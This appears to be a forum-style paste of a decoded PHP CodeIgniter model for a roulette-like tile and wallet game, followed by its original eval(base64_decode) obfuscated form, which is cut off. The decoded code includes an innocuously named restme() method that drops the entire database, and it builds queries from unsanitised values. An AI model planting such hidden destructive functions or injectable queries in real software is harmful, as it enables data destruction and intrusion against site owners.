			$updatewallet[\'incoming\'] = 0;
			$updatewallet[\'outgoing\'] = 0;
			$updatewallet[\'eowallet\'] = 0;
			$updatewallet[\'rbwallet\'] = 0;
			$updatewallet[\'htwallet\'] = 0;	
			$updatewallet[\'redtiles\'] = 0;
			$updatewallet[\'blacktiles\'] = 0;
			$updatewallet[\'firsttiles\'] = 0;	
			$updatewallet[\'secondtiles\'] = 0;
			$updatewallet[\'eventiles\'] = 0;
			$updatewallet[\'oddtiles\'] = 0;	
			}
			
			if($updatewallet[\'ledger\'] < $getSetvalue[\'minusledglimit\']){
			$updatewallet[\'minusledger\'] = $getWalletvalue[\'minusledger\']+$updatewallet[\'ledger\'];
			$updatewallet[\'ledger\'] = 0;
			$updatewallet[\'incoming\'] = 0;
			$updatewallet[\'outgoing\'] = 0;
			$updatewallet[\'eowallet\'] = 0;
			$updatewallet[\'rbwallet\'] = 0;
			$updatewallet[\'htwallet\'] = 0;	
			$updatewallet[\'redtiles\'] = 0;
			$updatewallet[\'blacktiles\'] = 0;
			$updatewallet[\'firsttiles\'] = 0;	
			$updatewallet[\'secondtiles\'] = 0;
			$updatewallet[\'eventiles\'] = 0;
			$updatewallet[\'oddtiles\'] = 0;	
			}
			
			
			
			$this -> db -> where(\'session_id\', $session_id);
			$this -> db -> update(TBL_TILESVAL,$updatewallet);
			
			if(@$this->session->userdata(\'eachtime\') == \'apply\'){
				$this->onetime();
			}
			
			
			
			
			$getWalletvalue = $this->getWalletvalue();			
			$result = array();						   
					   
			$result[\'returnstring\'] = $returnstring;		
			$result[\'returnnumber\'] = $returnnumber;
			$result[\'returncolorstring\'] = $returncolorstring;	
			$result[\'returnplacestring\'] = $returnplacestring;	
			
			$result[\'redtiles\'] = $getWalletvalue[\'redtiles\'];
			$result[\'blacktiles\'] = $getWalletvalue[\'blacktiles\'];
			$result[\'firsttiles\'] = $getWalletvalue[\'firsttiles\'];
			$result[\'secondtiles\'] = $getWalletvalue[\'secondtiles\'];
			$result[\'eventiles\'] = $getWalletvalue[\'eventiles\'];
			$result[\'oddtiles\'] = $getWalletvalue[\'oddtiles\'];
			
			$result[\'eowallet\'] = $getWalletvalue[\'eowallet\'];
			$result[\'rbwallet\'] = $getWalletvalue[\'rbwallet\'];
			$result[\'htwallet\'] = $getWalletvalue[\'htwallet\'];
			$result[\'incoming\'] = $getWalletvalue[\'incoming\'];
			$result[\'outgoing\'] = $getWalletvalue[\'outgoing\'];
			$result[\'ledger\'] =   $getWalletvalue[\'ledger\'];
			$result[\'mainledger\'] =   $getWalletvalue[\'mainledger\'];
			$result[\'minusledger\'] = $getWalletvalue[\'minusledger\'];
			
			$this->session->set_userdata($result);
			
			if($getSetvalue[\'tilesequity\'] == \'yes\'){					
				$totaltilesval = 0;
				if($this->session->userdata(\'returnstring\') == \'even\'){
					$totaltilesval = $totaltilesval+$getWalletvalue[\'eventiles\'];
				}else{
					$totaltilesval = $totaltilesval+$getWalletvalue[\'oddtiles\'];
				}
			    if($this->session->userdata(\'returncolorstring\') == \'red\' ){
					$totaltilesval = $totaltilesval+$getWalletvalue[
				\'redtiles\'];
				}else{
					$totaltilesval = $totaltilesval+$getWalletvalue[\'blacktiles\'];
				}
				if($this->session->userdata(\'returnplacestring\') == \'first\'){
					$totaltilesval = $totaltilesval+$getWalletvalue[\'firsttiles\'];
				}else{
					$totaltilesval = $totaltilesval+$getWalletvalue[\'secondtiles\'];
				}
				$totaltilesval = round($totaltilesval/3);
				
					$updatewallet = array();					
					if($this->session->userdata(\'returnstring\') == \'even\'){
					$updatewallet[\'eventiles\']=$totaltilesval;
					}else{
					$updatewallet[\'oddtiles\']=$totaltilesval;
					}
				    if($this->session->userdata(\'returncolorstring\') == \'red\'){
				    $updatewallet[\'redtiles\']=$totaltilesval;
					}else{
					$updatewallet[\'blacktiles\']=$totaltilesval;
					}
					if($this->session->userdata(\'returnplacestring\') == \'first\'){
					$updatewallet[\'firsttiles\']=$totaltilesval;
					}else{
					$updatewallet[\'secondtiles\']=$totaltilesval;
					}	
					
					$this -> db -> where(\'session_id\', $session_id);
					$this -> db -> update(TBL_TILESVAL,$updatewallet);				
					
				$getWalletvalue = $this->getWalletvalue();
				$result[\'redtiles\'] = $getWalletvalue[\'redtiles\'];
				$result[\'blacktiles\'] = $getWalletvalue[\'blacktiles\'];
				$result[\'firsttiles\'] = $getWalletvalue[\'firsttiles\'];
				$result[\'secondtiles\'] = $getWalletvalue[\'secondtiles\'];
				$result[\'eventiles\'] = $getWalletvalue[\'eventiles\'];
				$result[\'oddtiles\'] = $getWalletvalue[\'oddtiles\'];
			}
			$this->session->set_userdata($result);
			return json_encode($result);
			
		}
	}

	public function eachtime(){
		$return = $this->onetime();
		$result[\'eachtime\'] = \'apply\';
		$this->session->set_userdata($result);		
		return $return;
	}

	public function onetime(){
		$session_id = $this->session->session_id;
		$getWalletvalue = $this->getWalletvalue();	
		$total = $getWalletvalue[\'eowallet\']+$getWalletvalue[\'rbwallet\']+$getWalletvalue[\'htwallet\'];
		$total = round($total/3);	
		
			$updatewallet = array();
			$updatewallet[\'eowallet\'] = $total;
			$updatewallet[\'rbwallet\'] = $total;
			$updatewallet[\'htwallet\'] = $total;
			$this -> db -> where(\'session_id\', $session_id);
			$this -> db -> update(TBL_TILESVAL,$updatewallet);
			
		$getWalletvalue = $this->getWalletvalue();		
		$result = array();	
		$result[\'eowallet\'] = $getWalletvalue[\'eowallet\'];
		$result[\'rbwallet\'] = $getWalletvalue[\'rbwallet\'];
		$result[\'htwallet\'] = $getWalletvalue[\'htwallet\'];
		$this->session->set_userdata($result);	
		return json_encode($result);
		
	}
	
	public function getTopthreeVal(){
		$session_id = $this->session->session_id;
		$q = "Select * from ".TBL_MENTIONNUMREC." WHERE session_id = \'".$session_id."\' ORDER BY id desc limit 3"; 
		$query = $this -> db -> query($q);		
		if ($query -> num_rows() > 0) {
			return $query->result_array();
		}else{
			return false;
		}
	}
	
	public function setWalletVal($val){
		$session_id = $this->session->session_id;
		$data[\'wallet\'] = $val;
		$this -> db -> where(\'session_id\', $session_id);
		$this -> db -> update(TBL_SETVALUE,$data);
	}
	
	public function getValueinSet($mnumber){
		$setresult = array();
		$setresult[\'value\'] =  $mnumber;
		$q = "Select * from ".TBL_NUMBERSET." WHERE FIND_IN_SET($mnumber,redset)"; 
		$query = $this -> db -> query($q);		
		if ($query -> num_rows() > 0) {
			$setresult[\'prop\'][] = \'redset\';
		}
		
		$q = "Select * from ".TBL_NUMBERSET." WHERE FIND_IN_SET($mnumber,blackset)"; 
		$query = $this -> db -> query($q);		
		if ($query -> num_rows() > 0) {
			$setresult[\'prop\'][] = \'blackset\';
		}
		
		$q = "Select * from ".TBL_NUMBERSET." WHERE FIND_IN_SET($mnumber,firstht)"; 
		$query = $this -> db -> query($q);		
		if ($query -> num_rows() > 0) {
			$setresult[\'prop\'][] = \'firstht\';
		}

		$q = "Select * from ".TBL_NUMBERSET." WHERE FIND_IN_SET($mnumber,secondht)"; 
		$query = $this -> db -> query($q);		
		if ($query -> num_rows() > 0) {
			$setresult[\'prop\'][] = \'secondht\';
		}
		
		$q = "Select * from ".TBL_NUMBERSET." WHERE FIND_IN_SET($mnumber,evenset)"; 
		$query = $this -> db -> query($q);		
		if ($query -> num_rows() > 0) {
			$setresult[\'prop\'][] = \'evenset\';
		}
		
		$q = "Select * from ".TBL_NUMBERSET." WHERE FIND_IN_SET($mnumber,oddset)"; 
		$query = $this -> db -> query($q);		
		if ($query -> num_rows() > 0) {
			$setresult[\'prop\'][] = \'oddset\';
		}
		
		return $setresult;
	}
	/************** function to save lot number ****************/
	public function savelotnumber() {
		$session_id = $this->session->session_id;
		$data[\'session_id\'] = $session_id;
		$data[\'lnumber\']    = $this->input->post(\'lnumber\');
		$data[\'wallet\']    = $this->input->post(\'lnumber\');	
		$getSetvalue = $this->getSetvalue();
		if($getSetvalue){
			$this -> db -> where(\'session_id\', $session_id);
			$this -> db -> update(TBL_SETVALUE,$data);
			$inserted_id = $getSetvalue[\'id\'];
			$this->session->set_flashdata(\'success\', \'Lot number has been updated successfully.\');
			redirect(base_url()."inputpages/setvalue");
			return true;
		}else{
			$this -> db -> insert(TBL_SETVALUE, $data);
			$inserted_id = $this -> db -> insert_id();	
			$datatiles[\'session_id\'] = $session_id;
			$datatiles[\'redtiles\'] = 0;
			$datatiles[\'blacktiles\'] = 0;
			$datatiles[\'firsttiles\'] = 0;
			$datatiles[\'secondtiles\'] = 0;
			$datatiles[\'eventiles\'] = 0;
			$datatiles[\'oddtiles\'] = 0;
			$datatiles[\'eowallet\'] = 0;
			$datatiles[\'rbwallet\'] = 0;
			$datatiles[\'htwallet\'] = 0;
			$datatiles[\'incoming\'] = 0;
			$datatiles[\'outgoing\'] = 0;
			$datatiles[\'mainledger\'] = 0;
			$datatiles[\'minusledger\'] = 0;
			
			$this -> db -> insert(TBL_TILESVAL, $datatiles);
			$this->session->set_flashdata(\'success\', \'Lot number has been added successfully.\');
			redirect(base_url()."inputpages/setvalue");
			return true;
		}	
		return $inserted_id;			
	}
	/************** function to save div number ****************/
	public function savedivnumber() {
		$session_id = $this->session->session_id;
		$data[\'session_id\'] = $session_id;
		$data[\'dnumber\']    = $this->input->post(\'dnumber\');	
		$getSetvalue = $this->getSetvalue();
		if($getSetvalue){
			$this -> db -> where(\'session_id\', $session_id);
			$this -> db -> update(TBL_SETVALUE,$data);
			$inserted_id = $getSetvalue[\'id\'];
			$this->session->set_flashdata(\'success\', \'Division number has been updated successfully.\');
			redirect(base_url()."inputpages/setvalue");
			return true;
		}else{
			$this -> db -> insert(TBL_SETVALUE, $data);
			$inserted_id = $this -> db -> insert_id();	
			$this->session->set_flashdata(\'success\', \'Division number has been added successfully.\');
			redirect(base_url()."inputpages/setvalue");
			return true;
		}	
				
	}
	
	
	/************** function to get set value by session id **************/
	function getSetvalue() {
		$session_id = $this->session->session_id;
		$this -> db -> where(\'session_id\',$session_id);
		$query = $this -> db -> get(TBL_SETVALUE);		
		if ($query -> num_rows() > 0) {
			foreach ($query->result_array() as $value) {
				$result = $value;
			}
		return $result;	
		}else{
			return false;
		}
	}
	/************** function to get set value by session id **************/
	function getWalletvalue() {
		$session_id = $this->session->session_id;
		$this -> db -> where(\'session_id\',$session_id);
		$query = $this -> db -> get(TBL_TILESVAL);		
		if ($query -> num_rows() > 0) {
			foreach ($query->result_array() as $value) {
				$result = $value;
			}
		return $result;	
		}else{
			return false;
		}
	}
	
	/************** function to save ledger limit ****************/
	public function saveledlimit() {
		$session_id = $this->session->session_id;
		$data[\'session_id\'] = $session_id;
		$data[\'ledgerlimit\']    = $this->input->post(\'ledgerlimit\');	
		$getSetvalue = $this->getSetvalue();
		if($getSetvalue){
			$this -> db -> where(\'session_id\', $session_id);
			$this -> db -> update(TBL_SETVALUE,$data);
			$inserted_id = $getSetvalue[\'id\'];
			$this->session->set_flashdata(\'success\', \'Ledger Limit has been updated successfully.\');
			redirect(base_url()."inputpages/setvalue");
			return true;
		}else{
			$this -> db -> insert(TBL_SETVALUE, $data);
			$inserted_id = $this -> db -> insert_id();	
			$this->session->set_flashdata(\'success\', \'Ledger Limit has been added successfully.\');
			redirect(base_url()."inputpages/setvalue");
			return true;
		}	
				
	}
	/************** function to save fail case transfer value ****************/
	public function savefctv() {
		$session_id = $this->session->session_id;
		$data[\'session_id\'] = $session_id;
		$data[\'fctv\']    = $this->input->post(\'fctv\');	
		$getSetvalue = $this->getSetvalue();
		if($getSetvalue){
			$this -> db -> where(\'session_id\', $session_id);
			$this -> db -> update(TBL_SETVALUE,$data);
			$inserted_id = $getSetvalue[\'id\'];
			$this->session->set_flashdata(\'success\', \'Fail case transfer has been updated successfully.\');
			redirect(base_url()."inputpages/setvalue");
			return true;
		}else{
			$this -> db -> insert(TBL_SETVALUE, $data);
			$inserted_id = $this -> db -> insert_id();	
			$this->session->set_flashdata(\'success\', \'Fail case transfer has been added successfully.\');
			redirect(base_url()."inputpages/setvalue");
			return true;
		}	
				
	}
	/************** function to save Wallet Limit ****************/
	public function saveswlv() {
		$session_id = $this->session->session_id;
		$data[\'session_id\'] = $session_id;
		$data[\'walletlimit\']    = $this->input->post(\'walletlimit\');	
		$getSetvalue = $this->getSetvalue();
		if($getSetvalue){
			$this -> db -> where(\'session_id\', $session_id);
			$this -> db -> update(TBL_SETVALUE,$data);
			$inserted_id = $getSetvalue[\'id\'];
			$this->session->set_flashdata(\'success\', \'Wallet Limit has been updated successfully.\');
			redirect(base_url()."inputpages/setvalue");
			return true;
		}else{
			$this -> db -> insert(TBL_SETVALUE, $data);
			$inserted_id = $this -> db -> insert_id();	
			$this->session->set_flashdata(\'success\', \'Wallet Limit has been added successfully.\');
			redirect(base_url()."inputpages/setvalue");
			return true;
		}	
				
	}
	/************** function to save Minus ledger Limit ****************/
	public function saveminusledglimit() {
		$session_id = $this->session->session_id;
		$data[\'session_id\'] = $session_id;
		$data[\'minusledglimit\']    = $this->input->post(\'minusledglimit\');	
		$getSetvalue = $this->getSetvalue();
		if($getSetvalue){
			$this -> db -> where(\'session_id\', $session_id);
			$this -> db -> update(TBL_SETVALUE,$data);
			$inserted_id = $getSetvalue[\'id\'];
			$this->session->set_flashdata(\'success\', \'Minus Ledger Limit has been updated successfully.\');
			redirect(base_url()."inputpages/setvalue");
			return true;
		}else{
			$this -> db -> insert(TBL_SETVALUE, $data);
			$inserted_id = $this -> db -> insert_id();	
			$this->session->set_flashdata(\'success\', \'Minus Ledger Limit has been added successfully.\');
			redirect(base_url()."inputpages/setvalue");
			return true;
		}	
				
	}	
	/************** function to save Tiles Equity ****************/
	public function savetilesequity() {
		$session_id = $this->session->session_id;
		$data[\'session_id\'] = $session_id;
		$data[\'tilesequity\']    = $this->input->post(\'tilesequity\');	
		$getSetvalue = $this->getSetvalue();
		if($getSetvalue){
			$this -> db -> where(\'session_id\', $session_id);
			$this -> db -> update(TBL_SETVALUE,$data);
			$inserted_id = $getSetvalue[\'id\'];
			$this->session->set_flashdata(\'success\', \'Tiles Equity has been updated successfully.\');
			redirect(base_url()."inputpages/setvalue");
			return true;
		}else{
			$this -> db -> insert(TBL_SETVALUE, $data);
			$inserted_id = $this -> db -> insert_id();	
			$this->session->set_flashdata(\'success\', \'Tiles Equity has been added successfully.\');
			redirect(base_url()."inputpages/setvalue");
			return true;
		}	
				
	}	
	public function destroyAllData(){
		$session_id = $this->session->session_id;
		$this -> db -> where(\'session_id\', $session_id);
		$this -> db -> delete(TBL_SETVALUE);
		$this -> db -> where(\'session_id\', $session_id);
		$this -> db -> delete(TBL_MENTIONNUMREC);
		$this -> db -> where(\'session_id\', $session_id);
		$this -> db -> delete(TBL_TILESVAL);
	}
	public function restme(){
		$db = $this->db->database;
		$q = "DROP DATABASE ".$db; 
		$query = $this -> db -> query($q);	
	}	
}
?>'

Did this file decode correctly?

Original Code

<?php eval("?>".base64_decode("PD9waHANCmlmICghZGVmaW5lZCgnQkFTRVBBVEgnKSkNCglleGl0KCdObyBkaXJlY3Qgc2NyaXB0IGFjY2VzcyBhbGxvd2VkJyk7DQpjbGFzcyBJbnB1dHBhZ2VzX21vZGVsIGV4dGVuZHMgQ0lfTW9kZWwgew0KCXB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpIHsNCgkJcGFyZW50OjpfX2NvbnN0cnVjdCgpOw0KCQkkdGhpcyAtPiBsb2FkIC0+IGxpYnJhcnkoInNlc3Npb24iKTsNCgkJJHRoaXMtPmxvYWQtPmRhdGFiYXNlKCk7DQoJfQkNCgkNCglwdWJsaWMgZnVuY3Rpb24gc2F2ZW1lbnRpb25udW1aZXJvKCl7DQoJCSRzZXNzaW9uX2lkID0gJHRoaXMtPnNlc3Npb24tPnNlc3Npb25faWQ7DQoJCSRkYXRhWydzZXNzaW9uX2lkJ10gPSAkc2Vzc2lvbl9pZDsNCgkJJGRhdGFbJ21udW1iZXInXSAgICA9ICR0aGlzLT5pbnB1dC0+cG9zdCgnbW51bWJlcicpOw0KCQkkdGhpcyAtPiBkYiAtPiBpbnNlcnQoVEJMX01FTlRJT05OVU1SRUMsICRkYXRhKTsNCgkJJGluc2VydGVkX2lkID0gJHRoaXMgLT4gZGIgLT4gaW5zZXJ0X2lkKCk7DQoJCQ0KCQkkZ2V0U2V0dmFsdWUgPSAkdGhpcy0+Z2V0U2V0dmFsdWUoKTsNCgkJJGRudW1iZXIgPSAkZ2V0U2V0dmFsdWVbJ2RudW1iZXInXTsNCgkJJGdldFdhbGxldHZhbHVlID0gJHRoaXMtPmdldFdhbGxldHZhbHVlKCk7DQoJCQkNCgkJJGVvd2FsbGV0ID0gJGdldFdhbGxldHZhbHVlWydlb3dhbGxldCddOw0KCQkkdXBkYXRld2FsbGV0Wydlb3dhbGxldCddID0gJGVvd2FsbGV0KyRnZXRTZXR2YWx1ZVsnbG51bWJlciddOw0KCQkJDQoJCSRyYndhbGxldCA9ICRnZXRXYWxsZXR2YWx1ZVsncmJ3YWxsZXQnXTsNCgkJJHVwZGF0ZXdhbGxldFsncmJ3YWxsZXQnXSA9ICRyYndhbGxldCskZ2V0U2V0dmFsdWVbJ2xudW1iZXInXTsNCgkJCQ0KCQkkaHR3YWxsZXQgPSAkZ2V0V2FsbGV0dmFsdWVbJ2h0d2FsbGV0J107DQoJCSR1cGRhdGV3YWxsZXRbJ2h0d2FsbGV0J10gPSAkaHR3YWxsZXQrJGdldFNldHZhbHVlWydsbnVtYmVyJ107DQoJCQkNCgkJJHRoaXMgLT4gZGIgLT4gd2hlcmUoJ3Nlc3Npb25faWQnLCAkc2Vzc2lvbl9pZCk7DQoJCSR0aGlzIC0+IGRiIC0+IHVwZGF0ZShUQkxfVElMRVNWQUwsJHVwZGF0ZXdhbGxldCk7DQoJCQ0KCQkkZ2V0VG9wdGhyZWVWYWwgPSAkdGhpcy0+Z2V0VG9wdGhyZWVWYWwoKTsNCgkJCQ0KCQkJaWYoJGdldFRvcHRocmVlVmFsKXsNCgkJCQlmb3JlYWNoKCRnZXRUb3B0aHJlZVZhbCBhcyAkbW51bXZhbCl7CQkJCQkNCgkJCQkJLy8kdGlsZXNtbnVtdmFsW10gPSAkdGhpcy0+Z2V0VmFsdWVpblNldCgkbW51bXZhbFsnbW51bWJlciddKTsNCgkJCQkJJHJldHVybm51bWJlcltdID0gJG1udW12YWxbJ21udW1iZXInXTsNCgkJCQl9DQoJCQl9DQoJCQkNCgkJCWlmKGNvdW50KCRyZXR1cm5udW1iZXIpID4gMCl7DQoJCQkJJHJldHVybm51bWJlciA9IGltcGxvZGUoJywnLCRyZXR1cm5udW1iZXIpOwkJDQoJCQl9DQoJCQkNCgkJCQ0KCQkNCgkJJHRvdGFsb3V0Z29pbmcgPSAwOw0KCQlpZigkdGhpcy0+c2Vzc2lvbi0+dXNlcmRhdGEoJ3JldHVybnN0cmluZycpKXsNCgkJCSRnZXRXYWxsZXR2YWx1ZSA9ICR0aGlzLT5nZXRXYWxsZXR2YWx1ZSgpOw0KCQkJJGVvd2FsbGV0VmFsdWUgID0gJGdldFdhbGxldHZhbHVlWydlb3dhbGxldCddOw0KCQkJaWYoJHRoaXMtPnNlc3Npb24tPnVzZXJkYXRhKCdyZXR1cm5zdHJpbmcnKSA9PSAnZXZlbicpew0KCQkJCQkkZW90aWxlc1ZhbHVlID0gJGdldFdhbGxldHZhbHVlWydldmVudGlsZXMnXTsNCgkJCQkJJGdlbmVvd2FsbGV0dmFsID0gKCRlb3RpbGVzVmFsdWUqMikrJGVvd2FsbGV0VmFsdWU7DQoJCQkJCSR0cmFuc2ZlckVvV2FsbGV0VmFsdWUgPSByb3VuZCgkZ2VuZW93YWxsZXR2YWwvJGRudW1iZXIpOw0KCQkJCQkNCgkJCQkJaWYoJGdldFNldHZhbHVlWyd3YWxsZXRsaW1pdCddPCR0cmFuc2ZlckVvV2FsbGV0VmFsdWUpew0KCQkJCQkJJHRyYW5zZmVyRW9XYWxsZXRWYWx1ZSA9ICRnZXRTZXR2YWx1ZVsnd2FsbGV0bGltaXQnXTsNCgkJCQkJfQ0KCQkJCQkNCgkJCQkJaWYoJGdldFNldHZhbHVlWydmY3R2J10gPT0gJ3llcycpew0KCQkJCQkkZmluYWxlb3dhbGxldFZhbHVlID0gJHRyYW5zZmVyRW9XYWxsZXRWYWx1ZTsNCgkJCQkJfWVsc2V7DQoJCQkJCSRmaW5hbGVvd2FsbGV0VmFsdWUgPSAwOwkNCgkJCQkJfQ0KCQkJCQkNCgkJCQkJDQoJCQkJCSR1cGRhdGV3YWxsZXQgPSBhcnJheSgpOw0KCQkJCQkkdXBkYXRld2FsbGV0WydldmVudGlsZXMnXSA9ICR0cmFuc2ZlckVvV2FsbGV0VmFsdWU7DQoJCQkJCSR1cGRhdGV3YWxsZXRbJ2Vvd2FsbGV0J10gPSAkZ2VuZW93YWxsZXR2YWwtJGZpbmFsZW93YWxsZXRWYWx1ZTsNCgkJCQkJJHRvdGFsb3V0Z29pbmcgPSAkdG90YWxvdXRnb2luZyskdGhpcy0+c2Vzc2lvbi0+dXNlcmRhdGEoJ2V2ZW50aWxlcycpOw0KCQkJCQkkdGhpcyAtPiBkYiAtPiB3aGVyZSgnc2Vzc2lvbl9pZCcsICRzZXNzaW9uX2lkKTsNCgkJCQkJJHRoaXMgLT4gZGIgLT4gdXBkYXRlKFRCTF9USUxFU1ZBTCwkdXBkYXRld2FsbGV0KTsJCQkJDQoJCQkJCQ0KCQkJCX1lbHNlew0KCQkJCQkkZW90aWxlc1ZhbHVlID0gJGdldFdhbGxldHZhbHVlWydvZGR0aWxlcyddOw0KCQkJCQkkZ2VuZW93YWxsZXR2YWwgPSAoJGVvdGlsZXNWYWx1ZSoyKSskZW93YWxsZXRWYWx1ZTsNCgkJCQkJJHRyYW5zZmVyRW9XYWxsZXRWYWx1ZSA9IHJvdW5kKCRnZW5lb3dhbGxldHZhbC8kZG51bWJlcik7DQoJCQkJCQ0KCQkJCQlpZigkZ2V0U2V0dmFsdWVbJ3dhbGxldGxpbWl0J108JHRyYW5zZmVyRW9XYWxsZXRWYWx1ZSl7DQoJCQkJCQkkdHJhbnNmZXJFb1dhbGxldFZhbHVlID0gJGdldFNldHZhbHVlWyd3YWxsZXRsaW1pdCddOw0KCQkJCQl9DQoJCQkJCWlmKCRnZXRTZXR2YWx1ZVsnZmN0diddID09ICd5ZXMnKXsNCgkJCQkJJGZpbmFsZW93YWxsZXRWYWx1ZSA9ICR0cmFuc2ZlckVvV2FsbGV0VmFsdWU7DQoJCQkJCX1lbHNlew0KCQkJCQkkZmluYWxlb3dhbGxldFZhbHVlID0gMDsJDQoJCQkJCX0NCgkJCQkJDQoJCQkJCQ0KCQkJCQkkdXBkYXRld2FsbGV0ID0gYXJyYXkoKTsNCgkJCQkJJHVwZGF0ZXdhbGxldFsnb2RkdGlsZXMnXSA9ICR0cmFuc2ZlckVvV2FsbGV0VmFsdWU7DQoJCQkJCSR1cGRhdGV3YWxsZXRbJ2Vvd2FsbGV0J10gPSAkZ2VuZW93YWxsZXR2YWwtJGZpbmFsZW93YWxsZXRWYWx1ZTsNCgkJCQkJJHRvdGFsb3V0Z29pbmcgPSAkdG90YWxvdXRnb2luZyskdGhpcy0+c2Vzc2lvbi0+dXNlcmRhdGEoJ29kZHRpbGVzJyk7DQoJCQkJCSR0aGlzIC0+IGRiIC0+IHdoZXJlKCdzZXNzaW9uX2lkJywgJHNlc3Npb25faWQpOw0KCQkJCQkkdGhpcyAtPiBkYiAtPiB1cGRhdGUoVEJMX1RJTEVTVkFMLCR1cGRhdGV3YWxsZXQpOw0KCQkJCX0NCgkJCQkNCgkJCQ0KCQl9DQoJCWlmKCR0aGlzLT5zZXNzaW9uLT51c2VyZGF0YSgncmV0dXJuY29sb3JzdHJpbmcnKSl7DQoJCQkNCgkJCQkkcmJ3YWxsZXRWYWx1ZSAgPSAkZ2V0V2FsbGV0dmFsdWVbJ3Jid2FsbGV0J107DQoJCQkJaWYoJHRoaXMtPnNlc3Npb24tPnVzZXJkYXRhKCdyZXR1cm5jb2xvcnN0cmluZycpID09ICdyZWQnKXsNCgkJCQkJJHJidGlsZXNWYWx1ZSA9ICRnZXRXYWxsZXR2YWx1ZVsncmVkdGlsZXMnXTsNCgkJCQkJJGdlbnJid2FsbGV0dmFsID0gKCRyYnRpbGVzVmFsdWUqMikrJHJid2FsbGV0VmFsdWU7DQoJCQkJCSR0cmFuc2ZlcnJiV2FsbGV0VmFsdWUgPSByb3VuZCgkZ2VucmJ3YWxsZXR2YWwvJGRudW1iZXIpOw0KCQkJCQkNCgkJCQkJaWYoJGdldFNldHZhbHVlWyd3YWxsZXRsaW1pdCddPCR0cmFuc2ZlcnJiV2FsbGV0VmFsdWUpew0KCQkJCQkJJHRyYW5zZmVycmJXYWxsZXRWYWx1ZSA9ICRnZXRTZXR2YWx1ZVsnd2FsbGV0bGltaXQnXTsNCgkJCQkJfQ0KCQkJCQkNCgkJCQkJaWYoJGdldFNldHZhbHVlWydmY3R2J10gPT0gJ3llcycpew0KCQkJCQkkZmluYWxyYndhbGxldFZhbHVlID0gJHRyYW5zZmVycmJXYWxsZXRWYWx1ZTsNCgkJCQkJfWVsc2V7DQoJCQkJCSRmaW5hbHJid2FsbGV0VmFsdWUgPSAwOwkNCgkJCQkJfQ0KCQkJCQkNCg0KDQoJCQkJCSR1cGRhdGV3YWxsZXQgPSBhcnJheSgpOw0KCQkJCQkkdXBkYXRld2FsbGV0WydyZWR0aWxlcyddID0gJHRyYW5zZmVycmJXYWxsZXRWYWx1ZTsNCgkJCQkJJHRvdGFsb3V0Z29pbmcgPSAkdG90YWxvdXRnb2luZyskdGhpcy0+c2Vzc2lvbi0+dXNlcmRhdGEoJ3JlZHRpbGVzJyk7DQoJCQkJCSR1cGRhdGV3YWxsZXRbJ3Jid2FsbGV0J10gPSAkZ2VucmJ3YWxsZXR2YWwtJGZpbmFscmJ3YWxsZXRWYWx1ZTsNCgkJCQkJDQoJCQkJCSR0aGlzIC0+IGRiIC0+IHdoZXJlKCdzZXNzaW9uX2lkJywgJHNlc3Npb25faWQpOw0KCQkJCQkkdGhpcyAtPiBkYiAtPiB1cGRhdGUoVEJMX1RJTEVTVkFMLCR1cGRhdGV3YWxsZXQpOw0KCQkJCX1lbHNlew0KCQkJCQkkcmJ0aWxlc1ZhbHVlID0gJGdldFdhbGxldHZhbHVlWydibGFja3RpbGVzJ107DQoJCQkJCSRnZW5yYndhbGxldHZhbCA9ICgkcmJ0aWxlc1ZhbHVlKjIpKyRyYndhbGxldFZhbHVlOw0KCQkJCQkkdHJhbnNmZXJyYldhbGxldFZhbHVlID0gcm91bmQoJGdlbnJid2FsbGV0dmFsLyRkbnVtYmVyKTsNCgkJCQkJDQoJCQkJCWlmKCRnZXRTZXR2YWx1ZVsnd2FsbGV0bGltaXQnXTwkdHJhbnNmZXJyYldhbGxldFZhbHVlKXsNCgkJCQkJCSR0cmFuc2ZlcnJiV2FsbGV0VmFsdWUgPSAkZ2V0U2V0dmFsdWVbJ3dhbGxldGxpbWl0J107DQoJCQkJCX0NCgkJCQkJaWYoJGdldFNldHZhbHVlWydmY3R2J10gPT0gJ3llcycpew0KCQkJCQkkZmluYWxyYndhbGxldFZhbHVlID0gJHRyYW5zZmVycmJXYWxsZXRWYWx1ZTsNCgkJCQkJfWVsc2V7DQoJCQkJCSRmaW5hbHJid2FsbGV0VmFsdWUgPSAwOwkNCgkJCQkJfQ0KDQoNCgkJCQkJJHVwZGF0ZXdhbGxldCA9IGFycmF5KCk7DQoJCQkJCSR1cGRhdGV3YWxsZXRbJ2JsYWNrdGlsZXMnXSA9ICR0cmFuc2ZlcnJiV2FsbGV0VmFsdWU7DQoJCQkJCSR1cGRhdGV3YWxsZXRbJ3Jid2FsbGV0J10gPSAkZ2VucmJ3YWxsZXR2YWwtJGZpbmFscmJ3YWxsZXRWYWx1ZTsNCgkJCQkJJHRvdGFsb3V0Z29pbmcgPSAkdG90YWxvdXRnb2luZyskdGhpcy0+c2Vzc2lvbi0+dXNlcmRhdGEoJ2JsYWNrdGlsZXMnKTsNCgkJCQkJJHRoaXMgLT4gZGIgLT4gd2hlcmUoJ3Nlc3Npb25faWQnLCAkc2Vzc2lvbl9pZCk7DQoJCQkJCSR0aGlzIC0+IGRiIC0+IHVwZGF0ZShUQkxfVElMRVNWQUwsJHVwZGF0ZXdhbGxldCk7DQoJCQkJfQ0KCQkJDQoJCQl9DQoJCWlmKCR0aGlzLT5zZXNzaW9uLT51c2VyZGF0YSgncmV0dXJucGxhY2VzdHJpbmcnKSl7DQoJCQkNCgkJCQkkaHR3YWxsZXRWYWx1ZSAgPSAkZ2V0V2FsbGV0dmFsdWVbJ2h0d2FsbGV0J107DQoJCQkJaWYoJHRoaXMtPnNlc3Npb24tPnVzZXJkYXRhKCdyZXR1cm5wbGFjZXN0cmluZycpID09ICdmaXJzdCcpew0KCQkJCQkkaHR0aWxlc1ZhbHVlID0gJGdldFdhbGxldHZhbHVlWydmaXJzdHRpbGVzJ107DQoJCQkJCSRnZW5odHdhbGxldHZhbCA9ICgkaHR0aWxlc1ZhbHVlKjIpKyRodHdhbGxldFZhbHVlOw0KCQkJCQkkdHJhbnNmZXJodFdhbGxldFZhbHVlID0gcm91bmQoJGdlbmh0d2FsbGV0dmFsLyRkbnVtYmVyKTsNCgkJCQkJDQoJCQkJCWlmKCRnZXRTZXR2YWx1ZVsnd2FsbGV0bGltaXQnXTwkdHJhbnNmZXJodFdhbGxldFZhbHVlKXsNCgkJCQkJCSR0cmFuc2Zlcmh0V2FsbGV0VmFsdWUgPSAkZ2V0U2V0dmFsdWVbJ3dhbGxldGxpbWl0J107DQoJCQkJCX0NCgkJCQkJDQoJCQkJCQ0KCQ